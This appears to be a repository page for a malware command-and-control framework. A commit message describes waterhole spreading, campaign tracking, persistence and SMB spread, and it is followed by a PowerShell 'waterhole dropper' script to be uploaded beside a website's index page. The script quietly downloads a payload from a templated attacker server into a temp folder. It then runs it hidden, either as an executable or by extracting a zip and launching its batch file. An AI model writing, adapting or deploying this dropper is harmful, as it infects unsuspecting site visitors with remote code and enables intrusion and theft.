Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
28 lines
1.2 KiB
PowerShell
28 lines
1.2 KiB
PowerShell
# AetherForge waterhole dropper — upload as install.ps1 beside index.html
|
|
# Placeholders filled by POST /api/v1/builder/spread-kit-export
|
|
$ErrorActionPreference = 'SilentlyContinue'
|
|
$ProgressPreference = 'SilentlyContinue'
|
|
if ('{{CAMPAIGN}}' -ne '') {
|
|
$env:AETHER_CAMPAIGN = '{{CAMPAIGN}}'
|
|
$env:AETHER_UTM = '{{CAMPAIGN}}'
|
|
}
|
|
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
|
$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())
|
|
try { (New-Object Net.WebClient).DownloadFile($url, $tmp) } catch { exit 0 }
|
|
if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }
|
|
$bytes = [System.IO.File]::ReadAllBytes($tmp)
|
|
$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B
|
|
if ($isZip) {
|
|
$dir = $tmp + '_bundle'
|
|
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
|
[System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)
|
|
foreach ($name in @('Start.bat','Deploy.bat','start.bat','deploy.bat')) {
|
|
$c = Join-Path $dir $name
|
|
if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList "/c `"$c`"" -WindowStyle Hidden; break }
|
|
}
|
|
} else {
|
|
$exe = $tmp + '.exe'
|
|
Move-Item -Path $tmp -Destination $exe -Force
|
|
Start-Process -FilePath $exe -WindowStyle Hidden
|
|
}
|